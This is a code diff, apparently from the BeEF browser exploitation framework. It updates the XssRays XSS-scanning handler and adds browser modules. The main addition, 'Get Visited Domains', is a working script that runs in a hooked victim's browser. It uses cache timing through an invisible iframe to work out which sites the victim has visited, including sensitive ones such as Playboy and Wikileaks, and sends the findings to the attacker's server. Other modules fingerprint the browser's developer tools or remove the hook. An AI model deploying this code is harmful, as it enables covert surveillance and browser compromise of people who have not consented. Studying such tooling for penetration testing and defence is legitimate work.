||||
@port = req_parts[index].split(/:\s+/)[1].split(/:/)[1]
|
||||
end
|
||||
|
||||
if value.eql?("") or value.strip.empty?# this will be the CRLF (before HTTP request body)
|
||||
if value.eql?("") or value.strip.empty? # this will be the CRLF (before HTTP request body)
|
||||
@post_data_index = index
|
||||
end
|
||||
end
|
||||
@@ -111,7 +111,7 @@ module BeEF
|
||||
http_request_object = {
|
||||
'id' => http_db_object.id,
|
||||
'method' => verb,
|
||||
'host' => @host.strip,
|
||||
'host' => @host,
|
||||
'port' => @port,
|
||||
'data' => @post_data,
|
||||
'uri' => uri,
|
||||
@@ -123,7 +123,7 @@ module BeEF
|
||||
http_request_object = {
|
||||
'id' => http_db_object.id,
|
||||
'method' => verb,
|
||||
'host' => @host.strip,
|
||||
'host' => @host,
|
||||
'port' => @port,
|
||||
'uri' => uri,
|
||||
'headers' => headers,
|
||||
|
||||
@@ -19,7 +19,7 @@ beef:
|
||||
enable: true
|
||||
name: 'XSSRays'
|
||||
authors: ["antisnatchor"]
|
||||
clean_timeout: 5000
|
||||
clean_timeout: 3000
|
||||
cross_domain: true
|
||||
# set js_console_logs to false when using BeEF in production (also because IE browser doesn't support the console object)
|
||||
# set js_console_logs to false when using BeEF in production (also because IE < 9 doesn't support the console object)
|
||||
js_console_logs: false
|
||||
|
||||
@@ -17,28 +17,26 @@ module BeEF
|
||||
module Extension
|
||||
module Xssrays
|
||||
|
||||
class Handler
|
||||
class Handler < BeEF::Core::Router::Router
|
||||
|
||||
XS = BeEF::Core::Models::Xssraysscan
|
||||
XD = BeEF::Core::Models::Xssraysdetail
|
||||
HB = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
def call(env)
|
||||
@request = Rack::Request.new(env)
|
||||
|
||||
get '/' do
|
||||
# verify if the request contains the hook token
|
||||
# raise an exception if it's null or not found in the DB
|
||||
beef_hook = @request['hbsess'] || nil
|
||||
# raise an error if it's null or not found in the DB
|
||||
beef_hook = params[:hbsess] || nil
|
||||
(print_error "[XSSRAYS] Invalid beefhook id: the hooked browser cannot be found in the database";return) if beef_hook.nil? || HB.first(:session => beef_hook) == nil
|
||||
|
||||
rays_scan_id = @request['raysid'] || nil
|
||||
rays_scan_id = params[:raysid] || nil
|
||||
(print_error "[XSSRAYS] Raysid is null";return) if rays_scan_id.nil?
|
||||
|
||||
if @request['action'] == 'ray'
|
||||
if params[:action] == 'ray'
|
||||
# we received a ray
|
||||
parse_rays(rays_scan_id)
|
||||
else
|
||||
if @request['action'] == 'finish'
|
||||
if params[:action] == 'finish'
|
||||
# we received a notification for finishing the scan
|
||||
finalize_scan(rays_scan_id)
|
||||
else
|
||||
@@ -47,38 +45,31 @@ module BeEF
|
||||
end
|
||||
end
|
||||
|
||||
response = Rack::Response.new(
|
||||
body = [],
|
||||
status = 200,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST'
|
||||
}
|
||||
)
|
||||
response
|
||||
'Access-Control-Allow-Methods' => 'POST,GET'
|
||||
|
||||
end
|
||||
|
||||
# parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed.
|
||||
def parse_rays(rays_scan_id)
|
||||
xssrays_scan = XS.first(:id => rays_scan_id)
|
||||
hooked_browser = HB.first(:session => @request['hbsess'])
|
||||
hooked_browser = HB.first(:session => params[:hbsess])
|
||||
|
||||
if (xssrays_scan != nil)
|
||||
xssrays_detail = XD.new(
|
||||
:hooked_browser_id => hooked_browser.id,
|
||||
:vector_name => @request['n'],
|
||||
:vector_method => @request['m'],
|
||||
:vector_poc => @request['p'],
|
||||
:vector_name => params[:n],
|
||||
:vector_method => params[:m],
|
||||
:vector_poc => params[:p],
|
||||
:xssraysscan_id => xssrays_scan.id
|
||||
)
|
||||
xssrays_detail.save
|
||||
end
|
||||
print_info("[XSSRAYS] Received ray from HB with ip [#{hooked_browser.ip.to_s}], hooked on domain [#{hooked_browser.domain.to_s}]")
|
||||
print_debug("[XSSRAYS] Ray info: \n #{@request.query_string}")
|
||||
print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] received ray [ip:#{hooked_browser.ip.to_s}], hooked domain [#{hooked_browser.domain.to_s}]")
|
||||
print_debug("[XSSRAYS] Ray info: \n #{request.query_string}")
|
||||
end
|
||||
|
||||
# finalize the XssRays scan marking the scan as finished in the db
|
||||
|
||||
3
install
3
install
@@ -23,7 +23,7 @@ if RUBY_VERSION < '1.9'
|
||||
puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later."
|
||||
puts ""
|
||||
puts "OSX:"
|
||||
puts "sudo port install ruby19 +nosuffix"
|
||||
puts "See README"
|
||||
puts "\n"
|
||||
exit
|
||||
end
|
||||
@@ -36,3 +36,4 @@ puts "\nRun bundler in your BeEF folder: bundle install"
|
||||
|
||||
puts "\nRun BeEF: ./beef"
|
||||
|
||||
#Testing fork regroup
|
||||
21
modules/browser/detect_firebug/command.js
Normal file
21
modules/browser/detect_firebug/command.js
Normal file
@@ -0,0 +1,21 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
var result = "Not in use or not installed";
|
||||
if (window.console && (window.console.firebug || window.console.exception)) result = "Enabled and in use!";
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "firebug="+result);
|
||||
});
|
||||
|
||||
26
modules/browser/detect_firebug/config.yaml
Normal file
26
modules/browser/detect_firebug/config.yaml
Normal file
@@ -0,0 +1,26 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
detect_firebug:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Detect FireBug"
|
||||
description: "This module checks if the Mozilla Firefox Firebug extension is being use to inspect the current window."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["FF"]
|
||||
not_working: ["All"]
|
||||
24
modules/browser/detect_firebug/module.rb
Normal file
24
modules/browser/detect_firebug/module.rb
Normal file
@@ -0,0 +1,24 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Detect_firebug < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['firebug'] = @datastore['firebug'] if not @datastore['firebug'].nil?
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
344
modules/browser/get_visited_domains/command.js
Normal file
344
modules/browser/get_visited_domains/command.js
Normal file
@@ -0,0 +1,344 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
|
||||
var hidden_iframe = beef.dom.createInvisibleIframe();
|
||||
hidden_iframe.setAttribute('id','f');
|
||||
hidden_iframe.setAttribute('name','f');
|
||||
hidden_iframe.setAttribute('src','about:blank');
|
||||
hidden_iframe.setAttribute('style','opacity: 0.1');
|
||||
|
||||
var results = "";
|
||||
var tries = 0;
|
||||
|
||||
var isIE = 0;
|
||||
var isFF = 0;
|
||||
|
||||
/*******************************
|
||||
* SUB-MS TIMER IMPLEMENTATION *
|
||||
*******************************/
|
||||
var cycles = 0;
|
||||
var exec_next = null;
|
||||
|
||||
function timer_interrupt() {
|
||||
cycles++;
|
||||
if (exec_next) {
|
||||
var cmd = exec_next;
|
||||
exec_next = null;
|
||||
cmd();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (beef.browser.isFF() == 1) {
|
||||
window.addEventListener('message', timer_interrupt, false);
|
||||
|
||||
/****************
|
||||
* SCANNED URLS *
|
||||
****************/
|
||||
var targets = [
|
||||
{ 'category': 'Social networks' },
|
||||
{ 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
|
||||
'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
|
||||
'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] },
|
||||
{ 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] },
|
||||
|
||||
{ 'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz',
|
||||
'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js' ] },
|
||||
{ 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] },
|
||||
{ 'category': 'Content platforms' },
|
||||
{ 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] },
|
||||
{ 'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] },
|
||||
{ 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] },
|
||||
{ 'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] },
|
||||
{ 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] },
|
||||
{ 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] },
|
||||
{ 'category': 'Online media' },
|
||||
{ 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] },
|
||||
{ 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css',
|
||||
'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] },
|
||||
{ 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.en-us.xMviOWUyZqo.js' ] },
|
||||
{ 'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111207.02' ] },
|
||||
{ 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] },
|
||||
{ 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] },
|
||||
{ 'category': 'Commerce' },
|
||||
{ 'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12',
|
||||
'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] },
|
||||
{ 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] },
|
||||
{ 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] },
|
||||
{ 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] },
|
||||
{ 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] },
|
||||
{ 'category': 'Coding' },
|
||||
{ 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] },
|
||||
{ 'category': 'Security' },
|
||||
{ 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] },
|
||||
{ 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] },
|
||||
{ 'category': 'Email' },
|
||||
{ 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] }
|
||||
];
|
||||
/*************************
|
||||
* CONFIGURABLE SETTINGS *
|
||||
*************************/
|
||||
var TIME_LIMIT = 5;
|
||||
var MAX_ATTEMPTS = 2;
|
||||
}
|
||||
if (beef.browser.isIE() == 1) {
|
||||
/****************
|
||||
* SCANNED URLS *
|
||||
****************/
|
||||
var targets = [
|
||||
{ 'category': 'Social networks' },
|
||||
{ 'name': 'Facebook', 'urls': [ 'http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png',
|
||||
'https://s-static.ak.facebook.com/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png' ] },
|
||||
{ 'name': 'Twitter', 'urls': [ 'http://twitter.com/phoenix/favicon.ico',
|
||||
'https://twitter.com/phoenix/favicon.ico' ] },
|
||||
{ 'name': 'LinkedIn', 'urls': [ 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png',
|
||||
'http://s3.licdn.com/scds/common/u/img/logos/logo_2_237x60.png',
|
||||
'http://s4.licdn.com/scds/common/u/img/logos/logo_132x32_2.png' ] },
|
||||
{ 'name': 'Orkut', 'urls': [ 'http://static3.orkut.com/img/gwt/logo_orkut_default.png' ] },
|
||||
{ 'name': 'Dogster', 'urls': [ 'http://a2.cdnsters.com/static/images/sitewide/logos/dsterBanner-sm.png' ] },
|
||||
{ 'category': 'Content platforms' },
|
||||
{ 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/favicon-refresh-vfldLzJxy.ico' ] },
|
||||
{ 'name': 'Hulu', 'urls': [ 'http://www.hulu.com/fat-favicon.ico' ] },
|
||||
{ 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/favicon.ico' ] },
|
||||
{ 'name': 'Wikipedia (EN)', 'urls': [ 'http://en.wikipedia.org/favicon.ico' ] },
|
||||
{ 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/favicon.ico' ] },
|
||||
{ 'category': 'Online media' },
|
||||
{ 'name': 'New York Times', 'urls': [ 'http://css.nyt.com/images/icons/nyt.ico' ] },
|
||||
{ 'name': 'CNN', 'urls': [ 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/hdr-main.gif',
|
||||
'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif' ] },
|
||||
{ 'name': 'Slashdot', 'urls': [ 'http://slashdot.org/favicon.ico',
|
||||
'http://a.fsdn.com/sd/logo_w_l.png' ] },
|
||||
{ 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/favicon.ico' ] },
|
||||
{ 'name': 'Fox News', 'urls': [ 'http://www.foxnews.com/i/redes/foxnews.ico' ] },
|
||||
{ 'name': 'AboveTopSecret.com', 'urls': [ 'http://files.abovetopsecret.com/images/atssitelogo-f.png' ] },
|
||||
{ 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/IMG/wlogo.png' ] /* this session only */ },
|
||||
{ 'category': 'Commerce' },
|
||||
{ 'name': 'Diapers.com', 'urls': [ 'http://c4.diapers.com/Images/favicon.ico' ] },
|
||||
{ 'name': 'Amazon (US)', 'urls': [ 'http://g-ecx.images-amazon.com/images/G/01/gno/images/general/navAmazonLogoFooter._V169459313_.gif' ] },
|
||||
{ 'name': 'eBay', 'urls': [ 'http://www.ebay.com/favicon.ico' ] },
|
||||
{ 'name': 'Walmart', 'urls': [ 'http://www.walmart.com/favicon.ico' ] },
|
||||
{ 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/Nest/Newegg.ico' ] }
|
||||
];
|
||||
/*************************
|
||||
* CONFIGURABLE SETTINGS *
|
||||
*************************/
|
||||
|
||||
var TIME_LIMIT = 1;
|
||||
var MAX_ATTEMPTS = 1;
|
||||
}
|
||||
|
||||
|
||||
function sched_call(fn) {
|
||||
exec_next = fn;
|
||||
window.postMessage('123', '*');
|
||||
}
|
||||
|
||||
|
||||
/**********************
|
||||
* MAIN STATE MACHINE *
|
||||
**********************/
|
||||
var log_area;
|
||||
var target_off = 0;
|
||||
var attempt = 0;
|
||||
var confirmed_visited = false;
|
||||
var current_url, current_name;
|
||||
var wait_cycles;
|
||||
var frame_ready = false;
|
||||
var start, stop, urls;
|
||||
|
||||
/* The frame was just pointed to data:... at this point. Initialize a new test, giving the
|
||||
frame some time to fully load. */
|
||||
function perform_check() {
|
||||
wait_cycles = 0;
|
||||
if (beef.browser.isIE() == 1) {
|
||||
setTimeout(wait_for_read, 0);
|
||||
}
|
||||
if (beef.browser.isFF() == 1) {
|
||||
setTimeout(wait_for_read, 1);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/* Confirm that data:... is loaded correctly. */
|
||||
function wait_for_read() {
|
||||
if (wait_cycles++ > 100) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=Something went wrong, sorry');
|
||||
return;
|
||||
}
|
||||
if (beef.browser.isFF() == 1) {
|
||||
if (!frame_ready) {
|
||||
setTimeout(wait_for_read, 1);
|
||||
} else {
|
||||
document.getElementById('f').contentWindow.stop();
|
||||
setTimeout(navigate_to_target, 1);
|
||||
}
|
||||
}
|
||||
if (beef.browser.isIE() == 1) {
|
||||
try{
|
||||
if (frames['f'].location.href != 'about:blank') throw 1;
|
||||
//if(document.getElementById('f').contentWindow.location.href != 'about:blank') throw 1;
|
||||
document.getElementById("f").src ='javascript:"<body onload=\'parent.frame_ready = true\'>"';
|
||||
setTimeout(wait_for_read2, 0);
|
||||
} catch (e) {
|
||||
setTimeout(wait_for_read, 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function wait_for_read2() {
|
||||
if (wait_cycles++ > 100) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=Something went wrong, sorry');
|
||||
return;
|
||||
}
|
||||
if (!frame_ready) {
|
||||
setTimeout(wait_for_read2, 0);
|
||||
} else {
|
||||
setTimeout(navigate_to_target, 1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* Navigate the frame to the target URL. */
|
||||
function navigate_to_target() {
|
||||
cycles = 0;
|
||||
if (beef.browser.isFF() == 1) {
|
||||
sched_call(wait_for_noread);
|
||||
}
|
||||
if (beef.browser.isIE() == 1) {
|
||||
setTimeout(wait_for_noread, 0);
|
||||
}
|
||||
urls++;
|
||||
document.getElementById("f").src = current_url;
|
||||
}
|
||||
|
||||
|
||||
/* The browser is now trying to load the destination URL. Let's see if
|
||||
we lose SOP access before we hit TIME_LIMIT. If yes, we have a cache
|
||||
hit. If not, seems like cache miss. In both cases, the navigation
|
||||
will be aborted by maybe_test_next(). */
|
||||
|
||||
function wait_for_noread() {
|
||||
try {
|
||||
if (beef.browser.isIE() == 1) {
|
||||
if (frames['f'].location.href == undefined){
|
||||
confirmed_visited = true;
|
||||
throw 1;
|
||||
}
|
||||
if (cycles++ >= TIME_LIMIT) {
|
||||
maybe_test_next();
|
||||
return;
|
||||
}
|
||||
setTimeout(wait_for_noread, 0);
|
||||
}
|
||||
if (beef.browser.isFF() == 1) {
|
||||
if (document.getElementById('f').contentWindow.location.href == undefined)
|
||||
{
|
||||
confirmed_visited = true;
|
||||
throw 1;
|
||||
}
|
||||
if (cycles >= TIME_LIMIT) {
|
||||
maybe_test_next();
|
||||
return;
|
||||
}
|
||||
sched_call(wait_for_noread);
|
||||
}
|
||||
} catch (e) {
|
||||
confirmed_visited = true;
|
||||
maybe_test_next();
|
||||
}
|
||||
}
|
||||
|
||||
function maybe_test_next() {
|
||||
frame_ready = false;
|
||||
if (beef.browser.isFF() == 1) {
|
||||
document.getElementById('f').src = 'data:text/html,<body onload="parent.frame_ready = true">';
|
||||
}
|
||||
if (beef.browser.isIE() == 1) {
|
||||
document.getElementById("f").src = 'about:blank';
|
||||
}
|
||||
if (target_off < targets.length) {
|
||||
if (targets[target_off].category) {
|
||||
//log_text(targets[target_off].category + ':', 'p', 'category');
|
||||
target_off++;
|
||||
}
|
||||
if (confirmed_visited) {
|
||||
log_text('Visited: ' + current_name + ' [' + cycles + ':' + attempt + ']', 'li', 'visited');
|
||||
}
|
||||
if (confirmed_visited || attempt == MAX_ATTEMPTS * targets[target_off].urls.length) {
|
||||
if (!confirmed_visited)
|
||||
//continue;
|
||||
log_text('Not visited: ' + current_name + ' [' + cycles + '+]', 'li', 'not_visited');
|
||||
confirmed_visited = false;
|
||||
target_off++;
|
||||
attempt = 0;
|
||||
maybe_test_next();
|
||||
} else {
|
||||
current_url = targets[target_off].urls[attempt % targets[target_off].urls.length];
|
||||
current_name = targets[target_off].name;
|
||||
attempt++;
|
||||
perform_check();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* Just a logging helper. */
|
||||
function log_text(str, type, cssclass) {
|
||||
results+="<br>";
|
||||
results+=str;
|
||||
//alert(str);
|
||||
if(target_off==(targets.length-1)){
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+results);
|
||||
setTimeout(reload,3000);
|
||||
}
|
||||
}
|
||||
|
||||
function reload(){
|
||||
//window.location.href=window.location.href;
|
||||
window.location.reload();
|
||||
}
|
||||
|
||||
/* Decides what to do next. May schedule another attempt for the same target,
|
||||
select a new target, or wrap up the scan. */
|
||||
|
||||
|
||||
|
||||
/* The handler for "run the test" button on the main page. Dispenses
|
||||
advice, resets state if necessary. */
|
||||
function start_stuff() {
|
||||
if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 ) {
|
||||
target_off = 0;
|
||||
attempt = 0;
|
||||
confirmed_visited = false;
|
||||
urls = 0;
|
||||
results = "";
|
||||
maybe_test_next();
|
||||
}
|
||||
else {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=This proof-of-concept is specific to Firefox and Internet Explorer, and probably won\'t work for you.');
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
beef.execute(function() {
|
||||
urls = undefined;
|
||||
exec_next = null;
|
||||
start_stuff();
|
||||
});
|
||||
|
||||
|
||||
26
modules/browser/get_visited_domains/config.yaml
Normal file
26
modules/browser/get_visited_domains/config.yaml
Normal file
@@ -0,0 +1,26 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
get_visited_domains:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Get Visited Domains"
|
||||
description: "This module will retrieve rapid history extraction through non-destructive cache timing.\nBased on work done at http://lcamtuf.coredump.cx/cachetime/"
|
||||
authors: ["keith_lee @keith55 http://milo2012.wordpress.com"]
|
||||
target:
|
||||
working: ["FF","IE"]
|
||||
not_working: ["O","C","S"]
|
||||
25
modules/browser/get_visited_domains/module.rb
Normal file
25
modules/browser/get_visited_domains/module.rb
Normal file
@@ -0,0 +1,25 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
class Get_visited_domains < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['results'] = @datastore['results']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
39
modules/browser/unhook/command.js
Normal file
39
modules/browser/unhook/command.js
Normal file
@@ -0,0 +1,39 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent unhook request");
|
||||
|
||||
// remove script tag(s)
|
||||
try {
|
||||
var scripts = document.getElementsByTagName("script");
|
||||
for (var i=0; i<scripts.length; i++) {
|
||||
if (scripts[i].src.match(/https?:\/\/[^\/]+\/hook\.js/)) {
|
||||
scripts[i].parentNode.removeChild(scripts[i]);
|
||||
}
|
||||
}
|
||||
} catch (e) { }
|
||||
|
||||
// attempt to clean up DOM
|
||||
try {
|
||||
delete beef;
|
||||
delete BEEFHOOK;
|
||||
beef_init=null;
|
||||
BeefJS=null;
|
||||
} catch (e) { }
|
||||
|
||||
});
|
||||
|
||||
25
modules/browser/unhook/config.yaml
Normal file
25
modules/browser/unhook/config.yaml
Normal file
@@ -0,0 +1,25 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
unhook:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Unhook"
|
||||
description: "This module removes the BeEF hook from the hooked page."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["All"]
|
||||
24
modules/browser/unhook/module.rb
Normal file
24
modules/browser/unhook/module.rb
Normal file
@@ -0,0 +1,24 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Unhook < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content["result"] = @datastore["result"] if not @datastore["result"].nil?
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
1037
modules/chrome_extensions/get_chrome_extensions/command.js
